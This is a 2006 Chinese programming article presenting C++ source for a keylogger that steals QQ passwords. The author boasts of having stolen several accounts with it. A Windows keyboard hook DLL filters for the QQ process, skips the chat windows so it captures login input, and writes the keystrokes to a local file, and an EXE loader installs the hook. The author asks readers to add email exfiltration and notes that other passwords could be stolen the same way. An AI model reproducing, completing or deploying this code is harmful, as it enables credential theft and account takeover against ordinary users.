一个盗QQ密码的程序
2006-07-20 11:37:34 来源:WEB开发网核心提示:本文示例源代码或素材下载 这个程序我早就做好了(QQ也盗了好几个^_^),因为要考试,一个盗QQ密码的程序,所以一直没机会投稿,现在暑假了,return FALSE;hWnd = Info->hwndCaret;//那个闪动的光标的控件if(hWnd == hcaretWnd){return TRUE;}
本文示例源代码或素材下载
这个程序我早就做好了(QQ也盗了好几个^_^),因为要考试,所以一直没机会投稿,现在暑假了,有大把的时间。这个程序有个缺点,就是邮件发送,我在网上找了好久,没一个如意的,如果有能做补充,那最好不过了。
程序分两部分:
一:DLL部分,这部分是一个钩子函数,是为了监视你的键盘输入,如果是输入QQ的,就记下你的数据(如果你要盗其他密码,不很容易吗?)
BOOL DllExport b_Focus()
{
HWND hWnd;
GUITHREADINFO* Info = new GUITHREADINFO;
Info->cbSize = sizeof(GUITHREADINFO);
if(::GetGUIThreadInfo(NULL,Info) == 0) //当前线程的信息。
return FALSE;
hWnd = Info->hwndCaret; //那个闪动的光标的控件
if(hWnd == hcaretWnd)
{
return TRUE;
}
else
{
hcaretWnd = hWnd;
return FALSE;
}
}
LRESULT DllExport CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if(::GetCurrentProcessId() != GetQQ())
return CallNextHookEx(hkb, nCode, wParam, lParam );
HWND H_wnd = ::GetForegroundWindow();
char sTitle[255];
CString ss;
::SendMessage(H_wnd,WM_GETTEXT,255,(LPARAM)sTitle);
ss = sTitle;
int n = ss.Find("发送消息",0);
int m = ss.Find("聊天室",0);
if(m >= 0 || n >= 0)
return CallNextHookEx(hkb, nCode, wParam, lParam );
if(nCode == HC_ACTION && (lParam & 0xc000ffff) == 1)
{
CString sName;
BOOL b_Sft = ::GetAsyncKeyState(VK_SHIFT) >> ((sizeof(short) * 8)-1)如果shift按下
if(b_Sft)
{
switch(wParam)
{
case ''1'':sName = "!";break;
case ''A'':sName = "A";break;
}
}
else
{
switch(wParam)
{
// 0~9
case ''1'':sName = "1";break;
...
// A~Z
case ''A'':sName = "a";break;
...
}
}
//数字键
switch(wParam)
{
case VK_BACK:sName = "~";break;
...
case VK_NUMPAD1:sName = "1";break;
...
}
//其他键的处理
char KeyName[50];
ZeroMemory(KeyName,50);
GetKeyNameText(lParam,KeyName,50);
CString KeyNameStr=KeyName;
if(KeyNameStr=="`")
{
if(b_Sft)
sName = "~";
else
sName = "`";
}
m_pfile.Open("D:\\ww.txt",CFile::modeWrite);
m_pfile.SeekToEnd();
if(!b_Focus())
{
CString ss = "\r\n";
m_pfile.Write(ss,ss.GetLength());
}
m_pfile.Write(sName, sName.GetLength());
m_pfile.Close();
}
LRESULT RetVal = CallNextHookEx(hkb, nCode, wParam, lParam );
return RetVal;
}
具体的请看源代码
二:exe部分,这部分就是加载dll文件,很简单。
static HINSTANCE hinstDLL;
typedef void (CALLBACK *inshook)();//定义回调函数的地址
inshook instkbhook;
if(hinstDLL=LoadLibrary((LPCTSTR)"test3.dll"))
{
instkbhook=(inshook)GetProcAddress(hinstDLL, "installhook");
instkbhook();
}
更多精彩
赞助商链接